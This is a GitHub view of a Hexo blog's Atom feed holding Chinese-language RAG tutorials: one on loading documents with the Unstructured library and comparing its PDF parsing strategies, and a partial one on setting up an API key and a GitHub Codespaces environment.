-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
650 lines (314 loc) · 298 KB
/
atom.xml
File metadata and controls
650 lines (314 loc) · 298 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>s0m1ng</title>
<subtitle>二进制学习中</subtitle>
<link href="http://example.com/atom.xml" rel="self"/>
<link href="http://example.com/"/>
<updated>2026-04-29T05:15:20.006Z</updated>
<id>http://example.com/</id>
<author>
<name>s0m1ng</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>RAG底层原理4:数据加载过程</title>
<link href="http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%864_%E6%95%B0%E6%8D%AE%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B/"/>
<id>http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%864_%E6%95%B0%E6%8D%AE%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B/</id>
<published>2026-04-25T05:00:00.000Z</published>
<updated>2026-04-29T05:15:20.006Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>虽然本节内容在实际应用中非常重要,但是由于各种文档加载器的迭代更新,以及各类 AI 应用的不同需求,具体选择需要根据实际情况。本节仅作简单引入,但请务必<strong>重视数据加载</strong>环节,<strong>“垃圾进,垃圾出 (Garbage In, Garbage Out)”</strong> ——高质量输入是高质量输出的前提。</p><h1 id="文档加载器"><a href="#文档加载器" class="headerlink" title="文档加载器"></a>文档加载器</h1><h2 id="主要功能"><a href="#主要功能" class="headerlink" title="主要功能"></a>主要功能</h2><p>RAG 系统中,<strong>数据加载</strong>是整个流水线的第一步,也是不可或缺的一步。文档加载器负责将各种格式的非结构化文档(如PDF、Word、Markdown、HTML等)转换为程序可以处理的结构化数据。数据加载的质量会直接影响后续的索引构建、检索效果和最终的生成质量。</p><p>文档加载器在 RAG 的数据管道中一般需要完成三个核心任务,一是<strong>解析不同格式的原始文档</strong>,将 PDF、Word、Markdown 等内容提取为可处理的纯文本,二是在<strong>解析过程中同时抽取文档来源、页码、作者等关键信息作为元数据</strong>,三是<strong>把文本和元数据整理成统一的数据结构</strong>,方便后续进行切分、向量化和入库,其整体流程与传统数据工程中的抽取、转换、加载相似,目标都是把杂乱的原始文档清洗并对齐为适合检索和建模的标准化语料。</p><h2 id="当前主流RAG文档加载器"><a href="#当前主流RAG文档加载器" class="headerlink" title="当前主流RAG文档加载器"></a>当前主流RAG文档加载器</h2><div class="table-container"><table><thead><tr><th>工具名称</th><th>特点</th><th>适用场景</th><th>性能表现</th></tr></thead><tbody><tr><td><strong>PyMuPDF4LLM</strong></td><td>PDF→Markdown转换,OCR+表格识别</td><td>科研文献、技术手册</td><td>开源免费,GPU加速</td></tr><tr><td><strong>TextLoader</strong></td><td>基础文本文件加载</td><td>纯文本处理</td><td>轻量高效</td></tr><tr><td><strong>DirectoryLoader</strong></td><td>批量目录文件处理</td><td>混合格式文档库</td><td>支持多格式扩展</td></tr><tr><td><strong>Unstructured</strong></td><td>多格式文档解析</td><td>PDF、Word、HTML等</td><td>统一接口,智能解析</td></tr><tr><td><strong>FireCrawlLoader</strong></td><td>网页内容抓取</td><td>在线文档、新闻</td><td>实时内容获取</td></tr><tr><td><strong>LlamaParse</strong></td><td>深度PDF结构解析</td><td>法律合同、学术论文</td><td>解析精度高,商业API</td></tr><tr><td><strong>Docling</strong></td><td>模块化企业级解析</td><td>企业合同、报告</td><td>IBM生态兼容</td></tr><tr><td><strong>Marker</strong></td><td>PDF→Markdown,GPU加速</td><td>科研文献、书籍</td><td>专注PDF转换</td></tr><tr><td><strong>MinerU</strong></td><td>多模态集成解析</td><td>学术文献、财务报表</td><td>集成<br/>LayoutLMv3+YOLOv8</td></tr></tbody></table></div><p>需要注意的只有两个:</p><h3 id="本教程选:Unstructured"><a href="#本教程选:Unstructured" class="headerlink" title="本教程选:Unstructured"></a>本教程选:Unstructured</h3><ul><li><p><strong>优点:</strong> 真正的瑞士军刀。只要你学会了它的 API,无论是 PDF、Word、Excel 还是 HTML,统统可以用同一套代码加载。</p></li><li><p><strong>缺点:</strong> 安装很麻烦</p></li></ul><h3 id="企业级应用开发选:LlamaParse"><a href="#企业级应用开发选:LlamaParse" class="headerlink" title="企业级应用开发选:LlamaParse"></a>企业级应用开发选:<strong>LlamaParse</strong></h3><p>当你在未来遇到了那种排版极其变态的 PDF(比如双栏排版、中间还插着极其复杂的财务报表图片),本地开源的 Loader 基本上都会把文字提取成一团乱码。</p><ul><li><p><strong>优点:</strong> 它是专门为 RAG 时代打造的商业级解析器。解析极其精准,连复杂的图表都能看懂。</p></li><li><p><strong>缺点:</strong> 它是云端 API 接口,需要注册账号拿 Key,而且免费额度有限(每天免费 1000 页)。</p></li></ul><h2 id="Unstructured支持的文档元素类型"><a href="#Unstructured支持的文档元素类型" class="headerlink" title="Unstructured支持的文档元素类型"></a>Unstructured支持的文档元素类型</h2><p>Unstructured 能够识别和分类以下文档元素</p><div class="table-container"><table><thead><tr><th>元素类型</th><th>描述</th></tr></thead><tbody><tr><td><code>Title</code></td><td>文档标题</td></tr><tr><td><code>NarrativeText</code></td><td>由多个完整句子组成的正文文本,不包括标题、页眉、页脚和说明文字</td></tr><tr><td><code>ListItem</code></td><td>列表项,属于列表的正文文本元素</td></tr><tr><td><code>Table</code></td><td>表格</td></tr><tr><td><code>Image</code></td><td>图像元数据</td></tr><tr><td><code>Formula</code></td><td>公式</td></tr><tr><td><code>Address</code></td><td>物理地址</td></tr><tr><td><code>EmailAddress</code></td><td>邮箱地址</td></tr><tr><td><code>FigureCaption</code></td><td>图片标题/说明文字</td></tr><tr><td><code>Header</code></td><td>文档页眉</td></tr><tr><td><code>Footer</code></td><td>文档页脚</td></tr><tr><td><code>CodeSnippet</code></td><td>代码片段</td></tr><tr><td><code>PageBreak</code></td><td>页面分隔符</td></tr><tr><td><code>PageNumber</code></td><td>页码</td></tr><tr><td><code>UncategorizedText</code></td><td>未分类的自由文本</td></tr><tr><td><code>CompositeElement</code></td><td>分块处理时产生的复合元素*</td></tr></tbody></table></div><h2 id="从-LangChain-封装到原始-Unstructured"><a href="#从-LangChain-封装到原始-Unstructured" class="headerlink" title="从 LangChain 封装到原始 Unstructured"></a>从 LangChain 封装到原始 Unstructured</h2><p>在第一章的示例中,我们使用了LangChain的<code>UnstructuredMarkdownLoader</code>,它是 LangChain 对 Unstructured 库的封装。接下来展示如何直接使用 Unstructured 库,这样可以获得更大的灵活性和控制力。</p><p>代码在仓库的C2文件夹下:</p><ol><li><p>先安装依赖:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt-get install python3-opencv</span><br></pre></td></tr></table></figure></li><li><p>执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 01_unstructured_example.py</span><br></pre></td></tr></table></figure></li></ol><h3 id="代码解析:"><a href="#代码解析:" class="headerlink" title="代码解析:"></a>代码解析:</h3><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 导入 Unstructured 的核心“智能分区”模块</span></span><br><span class="line"><span class="keyword">from</span> unstructured.partition.auto <span class="keyword">import</span> partition</span><br><span class="line"><span class="keyword">from</span> collections <span class="keyword">import</span> Counter</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 设置目标 PDF 文件的路径 (请确保终端当前所在目录正确)</span></span><br><span class="line">pdf_path = <span class="string">"../../data/C2/pdf/rag.pdf"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 核心动作:解析文档</span></span><br><span class="line"><span class="comment"># partition 函数会像庖丁解牛一样,把 PDF 切解成一个个结构化的元素(Elements)</span></span><br><span class="line">elements = partition(</span><br><span class="line"> filename=pdf_path,</span><br><span class="line"> content_type=<span class="string">"application/pdf"</span> <span class="comment"># 显式告诉解析器这是 PDF 文件,加快处理速度</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果分析与展示</span></span><br><span class="line"><span class="comment"># 1. 打印宏观统计:一共切出了多少块?总字数是多少?</span></span><br><span class="line"><span class="comment"># len(elements) 表示解析出了几个结构块</span></span><br><span class="line"><span class="comment"># sum(...) 则是把每个块转成字符串后计算总长度</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"解析完成: <span class="subst">{<span class="built_in">len</span>(elements)}</span> 个元素, <span class="subst">{<span class="built_in">sum</span>(<span class="built_in">len</span>(<span class="built_in">str</span>(e)) <span class="keyword">for</span> e <span class="keyword">in</span> elements)}</span> 字符"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 统计元素类型 (看看这篇文档里到底有哪些“零部件”)</span></span><br><span class="line"><span class="comment"># e.category 是 Unstructured 赋予每个块的标签,比如 'Title'(标题), 'NarrativeText'(正文段落) 等</span></span><br><span class="line">types = Counter(e.category <span class="keyword">for</span> e <span class="keyword">in</span> elements)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"元素类型: <span class="subst">{<span class="built_in">dict</span>(types)}</span>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 逐个展示解析出来的元素</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"\n所有元素:"</span>)</span><br><span class="line"><span class="comment"># enumerate(elements, 1) 让序号从 1 开始计数</span></span><br><span class="line"><span class="keyword">for</span> i, element <span class="keyword">in</span> <span class="built_in">enumerate</span>(elements, <span class="number">1</span>):</span><br><span class="line"> <span class="comment"># 打印元素的序号和它的身份标签 (Category)</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"Element <span class="subst">{i}</span> (<span class="subst">{element.category}</span>):"</span>)</span><br><span class="line"> <span class="comment"># 打印这个元素里具体的文本内容</span></span><br><span class="line"> <span class="built_in">print</span>(element)</span><br><span class="line"> <span class="comment"># 打印一条华丽的分割线,方便终端肉眼观察</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"="</span> * <span class="number">60</span>)</span><br></pre></td></tr></table></figure><p>其中最关键的就是<strong>partition</strong></p><p><strong>partition 函数参数解析:</strong></p><ul><li><code>filename</code>: 文档文件路径,支持本地文件路径;</li><li><code>content_type</code>: 可选参数,指定MIME类型(如”application/pdf”),可绕过自动文件类型检测;</li><li><code>file</code>: 可选参数,文件对象,与 filename 二选一使用;</li><li><code>url</code>: 可选参数,远程文档 URL,支持直接处理网络文档;</li><li><code>include_page_breaks</code>: 布尔值,是否在输出中包含页面分隔符;</li><li><code>strategy</code>: 处理策略,可选 “auto”、”fast”、”hi_res” 等;</li><li><code>encoding</code>: 文本编码格式,默认自动检测。</li></ul><p><code>partition</code>函数使用自动文件类型检测,内部会根据文件类型路由到对应的专用函数(如PDF文件会调用<code>partition_pdf</code>)。如果需要更专业的PDF处理,可以直接使用<code>from unstructured.partition.pdf import partition_pdf</code>,它提供更多PDF特有的参数选项,如OCR语言设置、图像提取、表格结构推理等高级功能,同时性能更优。</p><h3 id="输出结果:"><a href="#输出结果:" class="headerlink" title="输出结果:"></a>输出结果:</h3><p><img data-src="/images/AI/code/RAG/4/unstructured运行结果.png" alt="unstructured运行结果"></p><h2 id="练习:"><a href="#练习:" class="headerlink" title="练习:"></a>练习:</h2><blockquote><p>使用<code>partition_pdf</code>替换当前<code>partition</code>函数并分别尝试用<code>hi_res</code>和<code>ocr_only</code>进行解析,观察输出结果有何变化。</p></blockquote><ol><li><p>写新的脚本到/code/C2/05_test01.py:</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> unstructured.partition.pdf <span class="keyword">import</span> partition_pdf</span><br><span class="line"><span class="keyword">from</span> collections <span class="keyword">import</span> Counter</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置目标 PDF 文件的路径 (确保在 code/C2 目录下运行)</span></span><br><span class="line">pdf_path = <span class="string">"../../data/C2/pdf/rag.pdf"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">analyze_pdf_strategy</span>(<span class="params">strategy_name</span>):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"\n<span class="subst">{<span class="string">'='</span>*<span class="number">15</span>}</span> 🚀 正在测试策略: 【<span class="subst">{strategy_name}</span>】 <span class="subst">{<span class="string">'='</span>*<span class="number">15</span>}</span>"</span>)</span><br><span class="line"> start_time = time.time()</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 构建参数字典</span></span><br><span class="line"> kwargs = {</span><br><span class="line"> <span class="string">"filename"</span>: pdf_path,</span><br><span class="line"> <span class="string">"strategy"</span>: strategy_name</span><br><span class="line"> }</span><br><span class="line"> <span class="comment"># ocr_only 和 hi_res 依赖 OCR,最好指定语言提高中文准确度</span></span><br><span class="line"> <span class="keyword">if</span> strategy_name <span class="keyword">in</span> [<span class="string">"hi_res"</span>, <span class="string">"ocr_only"</span>]:</span><br><span class="line"> kwargs[<span class="string">"languages"</span>] = [<span class="string">"chi_sim"</span>, <span class="string">"eng"</span>]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># 核心:调用专业的 partition_pdf</span></span><br><span class="line"> elements = partition_pdf(**kwargs)</span><br><span class="line"> end_time = time.time()</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 打印宏观统计</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"⏱️ 耗时: <span class="subst">{end_time - start_time:<span class="number">.2</span>f}</span> 秒"</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"📦 成果: 解析出 <span class="subst">{<span class="built_in">len</span>(elements)}</span> 个元素, 总字数 <span class="subst">{<span class="built_in">sum</span>(<span class="built_in">len</span>(<span class="built_in">str</span>(e)) <span class="keyword">for</span> e <span class="keyword">in</span> elements)}</span>"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 打印元素分类(直观看出有没有识别出表格、标题等)</span></span><br><span class="line"> types = Counter(e.category <span class="keyword">for</span> e <span class="keyword">in</span> elements)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"🗂️ 元素类别: <span class="subst">{<span class="built_in">dict</span>(types)}</span>"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 打印前3个元素预览,观察切分精细度</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"👀 前 3 个元素预览:"</span>)</span><br><span class="line"> <span class="keyword">for</span> i, element <span class="keyword">in</span> <span class="built_in">enumerate</span>(elements[:<span class="number">3</span>], <span class="number">1</span>):</span><br><span class="line"> <span class="comment"># 只截取前 50 个字符展示,避免刷屏</span></span><br><span class="line"> content_preview = <span class="built_in">str</span>(element).replace(<span class="string">'\n'</span>, <span class="string">' '</span>)[:<span class="number">50</span>]</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f" [<span class="subst">{i}</span>] <<span class="subst">{element.category}</span>>: <span class="subst">{content_preview}</span>..."</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"❌ 该策略运行失败,报错信息: <span class="subst">{e}</span>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"开始进行 Unstructured PDF 解析策略大比武!\n"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. fast: 极速模式(仅提取纯文本,无视大部分复杂排版)</span></span><br><span class="line">analyze_pdf_strategy(<span class="string">"fast"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. ocr_only: 纯扫描模式(把PDF当图片扫,容易破坏左右双栏等排版)</span></span><br><span class="line">analyze_pdf_strategy(<span class="string">"ocr_only"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. hi_res: 高分辨率布局模式(调用视觉大模型认表格、看多栏,最慢但最准)</span></span><br><span class="line">analyze_pdf_strategy(<span class="string">"hi_res"</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"\n🎉 对比测试结束!"</span>)</span><br></pre></td></tr></table></figure></li><li><p>运行后<strong>结果及分析</strong>:</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">🏎️ 1. fast 模式:快是真的快,瞎也是真的瞎</span><br><span class="line">⏱️ 耗时:2.36 秒(一骑绝尘,绝对的秒杀)</span><br><span class="line"></span><br><span class="line">🗂️ 类别:认出了 195 个 Title(标题),但完全没有看到表格和图片。</span><br><span class="line"></span><br><span class="line">字数总量:7500 字。</span><br><span class="line"></span><br><span class="line">点评:</span><br><span class="line">你发现总字数只有 7500,比后面的 8200 多字少了整整 700 个字!为什么?因为 fast 模式直接提取了 PDF 底层的纯文本层。那些被嵌在图片里的字、复杂表格里的字,它全部丢弃了。</span><br><span class="line">更搞笑的是,它把 195 句话都当成了 Title(标题),这说明它完全不懂排版,把稍微大一点、或者换行的文本都当成了标题。这在 RAG 里是灾难,会导致后续切块逻辑大乱。</span><br><span class="line"></span><br><span class="line">🖨️ 2. ocr_only 模式:大力出悲剧,满屏火星文</span><br><span class="line">⏱️ 耗时:28.62 秒(时间翻了 10 倍以上,因为它在逐页扫描图片)</span><br><span class="line"></span><br><span class="line">🗂️ 类别:只剩下了可怜的 Title、NarrativeText 等 4 种基础类别。依然没有表格!</span><br><span class="line"></span><br><span class="line">字数总量:8266 字(那些图片和表格里的字被抠出来了,所以字数涨了)。</span><br><span class="line"></span><br><span class="line">👀 预览灾难:你注意看它的第一个预览元素:Bh fe Se «8 Be BR 8H 4...</span><br><span class="line"></span><br><span class="line">点评:</span><br><span class="line">这就是典型的“纯 OCR 灾难”。它就像一个不懂中文的老外,拿着放大镜死磕页面上的像素。遇到网页的水印、Logo、或者复杂的双栏,它就强行识别出一堆毫无逻辑的火星文(乱码)。把这种垃圾数据喂给大模型,大模型会直接疯掉(这就是所谓的 Garbage In, Garbage Out)。</span><br><span class="line"></span><br><span class="line">💎 3. hi_res 模式:慢工出细活,真正的 RAG 杀手锏</span><br><span class="line">⏱️ 耗时:37.82 秒(最慢,因为它动用了深度学习视觉大模型)</span><br><span class="line"></span><br><span class="line">🗂️ 类别核心亮点:识别出了 Image: 21,Table: 4,FigureCaption: 4 </span><br><span class="line"></span><br><span class="line">字数总量:8277 字。</span><br><span class="line"></span><br><span class="line">点评:</span><br><span class="line">这 37 秒花得太值了!在 RAG 领域,“解析 PDF 里的表格” 是公认的世界级难题。传统的解析会把表格拆成一行行的碎字,大模型根本看不懂行列对应关系。</span><br><span class="line">而 hi_res 模式不仅成功找出了文档里的 4 个表格(Table),连图片(Image)和图片下方的图注(FigureCaption)都精准扒出来了!有了这些带有身份标签的数据,你后续就可以写代码:“如果是表格,我就单独用特殊方式喂给大模型”。</span><br></pre></td></tr></table></figure></li></ol><h3 id="总结:"><a href="#总结:" class="headerlink" title="总结:"></a>总结:</h3><p>以后做真实项目如果要<strong>用unstructured来做数据加载</strong>:</p><ul><li><p><strong>如果老板让你 10 分钟弄个纯文字文档的问答</strong> 👉 选 <code>fast</code>(配合 <strong>PyMuPDF</strong> 更好)。</p></li><li><p><strong>如果是财报、研报、学术论文,里面有一堆表格</strong> 👉 毫不犹豫用 <code>hi_res</code>(宁可多等半分钟,也要保证数据质量)。</p></li></ul>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>虽然本节内容在实际应用中非常重要,但是由于各种文档加载器的迭代更新,以及各类 AI 应用的不同需求,具体选择需要根据实际情况。本节仅</summary>
<category term="AI" scheme="http://example.com/categories/AI/"/>
<category term="开发" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/RAG/"/>
<category term="AI开发" scheme="http://example.com/tags/AI%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/tags/RAG/"/>
<category term="数据加载" scheme="http://example.com/tags/%E6%95%B0%E6%8D%AE%E5%8A%A0%E8%BD%BD/"/>
</entry>
<entry>
<title>RAG底层原理3:环境配置与启动</title>
<link href="http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%863_%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E4%B8%8E%E5%90%AF%E5%8A%A8/"/>
<id>http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%863_%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E4%B8%8E%E5%90%AF%E5%8A%A8/</id>
<published>2026-04-25T04:00:00.000Z</published>
<updated>2026-04-27T10:58:16.004Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>本节学习windows全环境RAG项目学习配置,配置完后就可以开始正式学习了</p><h1 id="大模型-API-配置"><a href="#大模型-API-配置" class="headerlink" title="大模型 API 配置"></a>大模型 API 配置</h1><h2 id="AIHubmix-API-申请"><a href="#AIHubmix-API-申请" class="headerlink" title="AIHubmix API 申请"></a>AIHubmix API 申请</h2><p>AIHubmix 是一个美国平台,公司注册在美国的特拉华州,一站式聚合了全球主流的 AI 模型,最新的模型通常能在发布当天最晚不超过 1 周就会支持。完全对接相关模型的云厂商(OpenAI 对接的是 Azure 云,Gemini 对接的 Google 官方,Claude 对接的是 AWS,其他开源等模型是对接到各大知名云厂商或者推理公司)。AIHubmix 的服务器是在美国谷歌云上采用集群部署,同时因为完全对接云厂商,所以稳定性非常好,有多端点路由机制,可以达到比直连官方更稳定的效果。</p><blockquote><p>AIHubmix 提供的免费模型足够我们完成项目的学习。</p></blockquote><p><strong>1.访问 AIHubmix 平台</strong></p><p>打开浏览器,访问 <a href="https://aihubmix.com/?aff=anNj">AIHubmix</a>。</p><p><strong>2.登录或注册账号</strong></p><p>如果已有账号,可以直接登录。如果没有,请点击页面右上角的注册按钮,使用邮箱或手机号完成注册。</p><p><strong>3.模型筛选</strong></p><p>可以看到有很多模型的api我们可以免费白嫖,选好一个想要白嫖的api模型就可以到下一步了</p><p><img data-src="https://datawhalechina.github.io/all-in-rag/chapter1/images/2.png" alt="模型页面"></p><p><strong>4.管理 API 密钥</strong>接着进入<a href="https://console.aihubmix.com/token">密钥管理页面</a>,可以点击 <code>创建 Key</code> 填写名称后创建一个自己的api key。</p><h1 id="GitHub-Codespaces-环境配置"><a href="#GitHub-Codespaces-环境配置" class="headerlink" title="GitHub Codespaces 环境配置"></a>GitHub Codespaces 环境配置</h1><p>GitHub Codespaces 是 GitHub 提供的一项服务,允许开发者在云端创建、编辑和运行代码。它提供了一个预配置的开发环境,包括代码编辑器、终端、调试工具等,可以直接在浏览器中使用。</p><h2 id="创建Codespaces"><a href="#创建Codespaces" class="headerlink" title="创建Codespaces"></a>创建Codespaces</h2><ol><li><p><strong>访问项目地址</strong><br>打开浏览器,访问 <a href="https://github.com/datawhalechina/all-in-rag">all-in-rag</a></p></li><li><p><strong>创建新分支</strong> 在项目页面的右上角,点击 <code>Fork</code> 按钮,创建一个新的分支。稍等一会儿即可创建成功。</p></li><li><p><strong>创建Codespaces</strong> 在项目页面的右上角,点击 <code>Code</code> 按钮,然后选择 <code>Codespaces</code> 选项卡。点击 <code>New codespace</code> 按钮,等待新的 Codespaces 环境创建成功。<br><img data-src="/images/AI/code/RAG/3/codespace.png" alt="codespace"></p></li><li><p>点击create codespace后会打开一个云端编辑器,然后我们就可以在对应项目文件夹里随意开工了</p></li><li><p>如果我们退出后想再回到这个编辑器页面,我们可以按照上图同样的位置打开,点击对应项目就能打开了</p></li><li><p><strong>额度设置</strong> 找到 GitHub 的账户设置中的 codespace 设置,挂起时间建议根据自己情况调整(时间过长会浪费额度,免费账号提供了单核120小时的额度)<br><img data-src="https://datawhalechina.github.io/all-in-rag/chapter1/images/1_2_8.webp" alt="额度设置"></p></li></ol><h1 id="python环境配置:"><a href="#python环境配置:" class="headerlink" 